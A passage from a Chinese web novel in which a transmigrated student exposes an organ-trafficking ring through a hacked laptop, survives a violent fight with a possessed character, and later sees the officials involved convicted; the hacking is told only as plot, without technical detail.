方圆百里唯一的医生、跟周谢相似的行为、熟悉蓝书上他跟时野的绯闻……关键是她熟悉蓝书,在蓝书上看到那么多纸醉金迷,怎么会安心呆在外城区这种地方。 不知道是因为痛楚还是憎恨,李医生双目赤红:“你保证我不会受伤,你发过誓!” “可是你想害我。” “我也救过你!” 温绒瞄准唯一的房间,“打开那个房间的门。” “哈——”李医生终于不再伪装,扭曲的五官呈现几分癫狂,“你就算进去,我也不会放过你。” “我要进去。” 李医生:“张勇,把这三个抓起来,他不放开恭叔就全宰了 。” 温绒一脸坦然:“其实,我跟她们就认识几天,你跟他们更熟一点。” 李医生大概没想到温绒会说出这样的话,双眼瞪得老大。 温绒继续说:“很感谢你给我缝过针。我知道,你很痛苦。一个人坏得不彻底,好得也不彻底,就会在灰色地带徘徊,一边行恶,一边给自己洗脑这一切都是迫不得已,让良心过得去,然后又被这为数不多的良心操控。” “我还是更钦佩福利院的四个大人,他们坚定地选择当好人。” “你——” “这三个人你想怎么处理就怎么处理。” 反正,温绒相信李医生绝对不会真的杀了她们。 她不够坏。 “你——” 温绒又一次无视她,强行拖着恭叔往房间里走,有几次恭叔有反抗动作,都被他摁了下去。 一个掌控这么多疯子的老头,年轻时一定是狠角色,温绒怕出差错,在刚动手时就特地使用了系统积分。 现在,就算是林竞航兑换积分过来,他也有力气摁住。 索性这些人不把人命当回事,却不是高智商犯罪团伙,抓他就把他带来“总部”,隔壁房间就是这位恭叔睡觉办公的地方。 温绒先找衣服出来,用袖子的地方把恭叔死死绑在椅子上,又推着床抵死房间门。 “你把我抓进来没用,逼急了,他们会连你一起把我杀了。不如拿我当人质逃跑。” 温绒终于找到个适合塞进嘴里的薄衣服,强行扣住恭叔的嘴,塞进去。 确实可以逃跑。 但他没想过要逃跑。 他从联系到王斯辰的那一刻就做好了决定,死也要找到恭叔们交易的东西。 它一定是周总统让他来的目的,也是福利院四个大人拼了命都要拿到的东西。 温绒第一时间检查书桌,几个抽屉上了锁,拉几下没有拉开。 恭叔老神在在。 温绒深吸一口气,用力—— 啪。 锁挂在连接另一头的桌面上,抽屉残缺地打开。 恭叔:“……” 这可是能撩倒世界排名第二职业网球选手赵泽阳的力气。 温绒在这个时候,勉强承认赵泽阳的地位。 抽屉里躺着一台笔记本电脑,温绒的记忆里,王斯辰的秘书也有一台。 他的预感越来越强烈,所有的秘密就在里面。 打开笔记本,有锁—— 运气极好的是面部解锁。 这些年科技停滞,it公司为了让自家产品更有竞争力,从密码锁升级成指纹锁,又从指纹锁升级成面部解锁……显然这是一台“高科技产品”。 温绒第一次发觉,弗罗里曼学院的普通笔记本电脑真不错。 温绒一手抱电脑,一手抓起恭叔的脸,因为有衣服含在嘴里导致无法解锁,不得不扯下来。 “你就算打开电脑也没用!里面的文件全被加密过。” “全世界排名前二的黑客都在弗罗里曼学院。” 恭叔干枯的双眼在空气里颤抖着,大概在外城区当了太久的人上人,第一次被打击,难以回神。 温绒成功解锁,在书桌下找到网线,插上,登陆黒鸽。 …… 叮 李奥十指差点冒烟的瞬间,屏幕右下方弹出绝对不可能出现的头像。 温绒:[黑掉我用的这台电脑。] 李奥惊得眼睛差点掉出来,“表哥,这是什么意思。” “按他的意思做。” 周谢给电话那头说:“温绒可能暂时脱困,你们到了吗?” “十分钟后到。” 周谢刚准备说速度快点,手机“滋”的一声,收到内线消息。 [运送时野去军事法庭的车被抢,时野不见了。] 周谢现在没心情管时野,把消息关闭,回头问李奥:“李奥,黑掉了吗?” “……” 李奥在电脑前一动不动。 周谢伸手去拍他的肩膀,正准备提醒他别发呆,余光不经意间瞥到电脑屏幕上刚解析出来的文件。 镜片后面,阴沉的眸子露出前所未有的惊讶,温绒出事后一直强行冷静,安排所有事情的周谢,也在看到众多熟悉的名字、字条时,无法再做出任何反应。 温绒:[黑完了吗?他们开始敲我门了。] 周谢猛然回神,嗓子喊出不该属于他的急切,“莱昂,再快点。” 这份文件被解析出来,说明——温绒今晚必须死- 劲爆音乐直冲天灵盖,热闹的舞池里,男男女女尽情狂欢。 林竞航第三次偷看手机,被旁边的人发现,笑着问他是不是在等小妹妹回消息,林竞航心中不爽,拿起手机朝外走。 走出夜场大门,整个世界都宁静了。 他吐出口气,仰头看天,却像被太阳灼了一下,眼睛用力一眨。 在不远处的车顶上,一个健硕身影正在擦枪。 “喂,别干站着。”那人说。 关你屁事。 “没事干的话就去对面小卖部找找有没有烟。好几个月没抽,想死我了。” “林哥,不要再抽烟了。” 林竞航听见自己的声音。 是他的声音吧?这明明是他的声音,可为什么他喊对方叫“林哥”? “李朝阳,找死是不是,叫你去看看有没有烟。” 李朝阳……是谁? “你想找的那个温绒,应该也不想看到你抽烟抽死。”林竞航又听见自己说。 温绒……吗? 为什么会聊到温绒? 林竞航太阳穴传来一阵剧痛,他熟悉这种感觉,好像又要昏过去了。 太奇怪了,医生没有检查出任何问题,系统也说他没问题,到底为什么会频繁出现这种情况。 手机来电的瞬间,那种疼痛竟然被击散。 林竞航望着繁华的街景,都要以为刚才是幻觉。 来电不停,林竞航不得不摸出手机。 不耐烦地接起,“干嘛?” “领导有事安排,车应该已经到夜场门口,请立即上车。” “能不能直接说什么事。” “这关系到王家的未来,还是您过来,领导亲自跟你说吧。” 神神秘秘的,有病。 林竞航心情不爽,但王斯辰能让他继续过现在这种潇洒生活,他还是不得不听从安排坐上车。 这车开了特别的通行证,一路闯红灯没人管,逆行还有其他车让位,林竞航坐在车上不禁感叹:“用特权还得是我小叔”。 也不知道温绒现在情况怎么样了。 他一这么想,吓自己一大跳。 我靠,我竟然会想到他。 他死了最好。 恶毒地诅咒完,林竞航又想,自己是不是有点太过分了? 不过分,温绒才过分,说什么他不像是在末世呆过的人……傻叉,他明明比任何人都清楚末世过的都是什么苦日子。 腹诽着,也不知道什么时候到的地方。 林竞航坐电梯上楼,秘书抱着台笔记本电脑在门口等着。 “我小叔呢?” 秘书示意他坐,翻开笔记本盖子,王斯辰的脸郝然出现在屏幕上。 “温绒在外城区找到了我们家的秘密,经过多方商讨,只要温绒死了,这件事就可以揭过去。” “你可以做到吗?” 让温绒死? 林竞航茫然地问:“为什么是我……” “上次在机场你表现很优秀。” 只是因为这个吗? 上一次光是解释炸弹的事,他都差点暴露了。 林竞航这段时间被温绒折磨得有了些经验,他隐隐觉得,现在四处无人,距离外城区也很远,王斯辰突然下达命令让他去弄死温绒,是件很微妙的行为。 “是什么秘密。”林竞航难得聪明一回。 秘书抢答:“这个秘密……” 王斯辰截断,“你也到了参与家族事业的年纪。” “人到老年,为了活下去,总会有一些器官需求。” “外城区没有价值的人很多,我们在那边建立了一个研究院,专门收购器官供内城区的一些人使用。” 林竞航愣了瞬,“一些人是指……” “全联邦的政/府要员,包括弗罗里曼学院的校长,他最近就在配型,如果不是因为这个原因,你也坐不上弗罗里曼学院学生会会长的位置。” 哐当 林竞航摔到地上。 大脑运行迟缓,像失去动力的机械表,噔、噔、噔,指针跳动比心跳慢许多,相差巨大的频率让心情越来越烦躁。 器官买卖,是拿别人的心换到自己身体里吗? 那别人是活的还是死的? …… 温绒翻箱倒柜,确认这位恭叔不是一个爱好读书的人,书柜上几乎没有任何可以称为“知识”的东西。 木雕、花瓶、毛病、砚台……装得跟个文学爱好者似的。 啪嗒 他不小心把一个东西撞到地上。 温绒忍着腰上的疼痛捡起来。 拿到手上的瞬间,隐隐看见瓶子里装着两个白色的球,球周身布满红色的东西,丝丝缕缕,不太干净,甚至有点恶心。 温绒不明白为什么会收集这种东西,很想快点脱手,无意间晃到瓶子。 白色的球在液体里旋转,随即,他对上一双蓝色的瞳孔。 比莱昂学长的眼睛颜色更深,瞪得老大,大得看不见眼皮,只有眼珠子。 只、有、眼、珠、子。 刹那间,恶臭的河、难闻的铁锈味、随便死人、卖/淫都能堂而皇之,却在账本上遮遮掩掩……碎片在巨大的框里拼成一幅图。 温绒看着,想着,又难以置信地看向这位“恭叔”。 恰恰在那一瞬间,恭叔变成了天使,如果不是,为什么他的周身开始泛起蓝光。 砰砰砰 恭叔带着神一般的力量崩开束缚,那一刻,温绒从齿缝里喊出熟悉的名字。 “林——竞——航——” 恭叔低着头不看他,“对不起,温绒,你真的必须死。” 温绒迅速兑换积分,在“恭叔”冲上来的瞬间,循着本能从下至上推拳。 “恭叔”以绝对压倒性的力量抓住他的手,骨头连着肉几乎扭曲。 温绒忍着痛,抬腿勾开“恭叔”的腿,“恭叔”当场倒地,温绒左手迅速抓住他的头发,朝墙上用力一撞。 “恭叔”意外地反应迟钝,脑袋被墙砸出血,顺着脸颊流到下巴,不反抗。 因为林竞航再次被剧痛侵袭。 这一次,他看清了车顶的那张脸。 一个皮肤黝黑,却俊朗的男生,眼睛明亮如星,笑一下,露出明显的犬牙。 “李朝阳,你这么弱,没遇到我之前怎么活下来的?” “我……” “算啦,一个人开车很无聊,有个人跟我聊天也不错。” “我给你讲我初恋的故事。” “你的初恋?变成丧尸了吗?” “没吧,肯定没,他特会躲,肯定不会被丧尸咬到。” “那他还活着吗?” 在末世,很多人选择自杀。 “肯定活着啊,他坚强得要死。等我找到他,邀请你当我们的证婚人。” “不可以不答应啊,好兄弟就用来当证婚人的。” “哦。”林竞航听见自己敷衍地回答。 李朝阳是谁? 应该是那个有初恋的男生。 林竞航这样判断。 “李朝阳,你说温绒真的还活着吗?” “活着吧。” “可是全世界就剩我们两个人了啊!” “他可能当了丧尸。” “那些丧尸都太丑,不是他。我真的每个都确认了,没有他。他不在这里,他在哪?他会去哪里?!” “可能被吃了。” 林竞航悠悠地想,这么说是不是太冷漠了? “不会,他不会被吃。” “我、跟他……死后不能去同一个世界吗?” 不是吧,你这么恋爱脑吗? 都到最后一步了,按钮摁下去,轰!丧尸全被炸死,咱俩就是救世主欸。 “李朝阳,你没犯过错,你一定能跟他去同一个世界,你帮我找他,帮我找他,你帮我找他啊!” 嘶哑的声音在黑暗中回响,像一个疯子绝望的吼叫,除了他没人能听得见。除了他…… 好吧,他应该让对方冷静下来,毕竟只有他们两个人了。 “行,你要找的那个人叫什么?你找到他要干什么?”林竞航听见自己说。 “温绒。” “温柔的温,绒毛的绒。” “帮我跟他说……” “我喜欢你?”林竞航有点烦对方婆婆妈妈的样子,擅自猜测。 “不是。” “你帮我跟他说……对不起。” “对不起。”林竞航复述这三个字。 太阳穴再次传来剧烈的疼痛,林竞航不得不挣脱温绒的束缚,抓住他的手用力一甩。 温绒堪堪后退撞上柜子,古玩、花瓶全数摇摇晃晃坠落。 啪—— 砰—— 滋啦—— 嘭—— 那碰撞的声音如此悦耳,好像一首胜利进行曲,宣誓他战胜了温绒。 只是,为什么他的胸口这么凉。 五脏六腑像结了冰。 林竞航迟钝的低头,没有看见自己的胸口,只看见墙。 而后他恍然明白,自己胸口被穿了一个洞,内脏全部暴露在空气中。 剧烈的疼痛撕扯着他。 闪现的画面里,不仅恋爱脑的脸越来越清晰,他也在对方的眼睛里看见自己。 这是我吗? 这是我。 可是,他为什么叫我李朝阳。 如果我是李朝阳,那他是谁? 他是…… 他是林竞航啊! 李朝阳在这一刻,终于寻回被尘封的记忆。 因为死去的人会被系统抹去,他忘记林竞航了!他忘记了! 他为了记得,把自己记成了林竞航。 但他又很快忘了为什么要当林竞航。他忘记林竞航托他找的那个人。 林竞航要找…… 温绒。 李朝阳猛一下惊醒,往前扑到地上,四肢攀爬,像狗一样爬到温绒身边。 血淋滴答的手摸到温绒的脸。 他忽然觉得这张脸是如此熟悉,如林竞航天天在车上形容的那样好看,只要看到,就能认得出来。 “对不起。” 他替林竞航说。 “你也不记得林竞航了对不对。” 他替林竞航鸣不平。 “你他妈赶紧醒来,你把林竞航想起来!他一辈子都在找你。” 李朝阳愤怒地吼叫,枪声和尖叫从耳边穿行而过,打扰了他,他更加奋地去抓温绒。 砰砰,外面有人激烈地撞门。 李朝阳用最后的力气抓起温绒,“你——” 嘭 门终于被撞开。 李朝阳被用力一掀,有人抢走温绒。 “我不叫林竞航,我叫李朝阳。” 他无声地喊。 …… 温绒再次坠落,成片的绿色数字向上飞去。 与以往不同的是,这一次数字有尽头。 落到地上,周遭一片黑暗。 “哥哥?” 【检测到生命值持续降低,降至0时,宿主的数据将会一键清空。】 “原来我要死了啊。”温绒无比珍惜地深吸一口气,品味、享受活着呼吸的感觉。 系统沉默了两秒,说:【鉴于宿主初次穿越,系统可为宿主提供一次额外机会去往新的世界执行任务,在那边做完任务,宿主依然可以活着。】 “……” 【宿主?】 “不用了。” 【为什么?】系统发出不属于AI的语调。 “我已经跟这个世界建立联系,离不开了。” 【宿主,生命值快到0了。】 “……” “哥哥,谢谢你。” 最后一个数字没入黑暗,系统世界彻底归入死寂。 温绒平躺在地上,觉得很舒服。 在这里,他的小腹没有受伤,他也没被那么多东西砸到,他就安安心心地,睡觉。 周谢应该能把电脑里的东西公布出去吧。 恭叔这些人落网,蓝书上那个女人能自己回外城区找弟弟了。 小花小山去内城区的福利院。 时野、莱昂学长、周谢他们是好朋友,有什么难关都会过去的。 嗯,就这样好好睡一觉。 温绒彻底闭上眼睛。 滴答—— 莫名的光点坠入黑暗。 荧光的涟漪一浪一浪涌开,浇灌干涸的土地,土地抽出新芽,枝条生长,一缕一缕直冲上天。 【李朝阳操作积分转移。】 【滴——宿主积分+3546……63290】- 联邦史上第一大案,由七大法官联合审理,全联邦民众为陪审团,判决从事器官非法买卖的王斯辰议员以死刑、多位直接参与买卖的官员死刑。 周谢内部举报弗罗里曼学院校长在任期间,招收多名奖项造假的学生,经弗罗里曼学院校董会决定,校长撤职,数学家许秋担任新校长。 弗罗里曼学院学生会会长林竞航撤职。 同年,弗罗里曼学院内部通过《扩招特招生》方案:新一年,由学生会会长主导,在全联邦内寻找优秀学生特招入学。 扩招方案实行第一年。 社团招新当天,入学的十位特招生战战兢兢。 他们之中,有人来自普通家庭,有人来自贫困家庭,50万元的校服费用是一笔大数字,暂时无法负担。 听说,不穿校服会被罚黄牌,甚至不被允许进入社团招新现场。 “没穿校服。” 温柔的声音从前方传来,特招生们局促地低下头。 “可以考虑加入学生会,无任何门槛,还免费为学生提供一套校服。” 铛—— 教堂里的钟声敲响,白鸽受惊,展翅划过天空,影子零零碎碎落在学生会会长清俊的脸上。 真是个好看的人。 只是眉间有一竖小小的疤,据说是去年揭露外城区器官买卖时受的伤。 他是个特招生。 向校方提出《扩招特招生》方案。 黒鸽论坛有他置顶的声明——校内不允许任何形式的霸凌。 他是弗罗里曼学院最有权力的学生,没人敢忤逆他。 在校外,也有一大批人誓死追随他,甚至有媒体说,他只要报名参选总统,就能立马成为联邦史上第一位19岁的领导人。 当然,人们还是更热衷于他的八卦。 黒鸽娱乐小报说,他有一千多个姨太太!【你现在阅读的是 】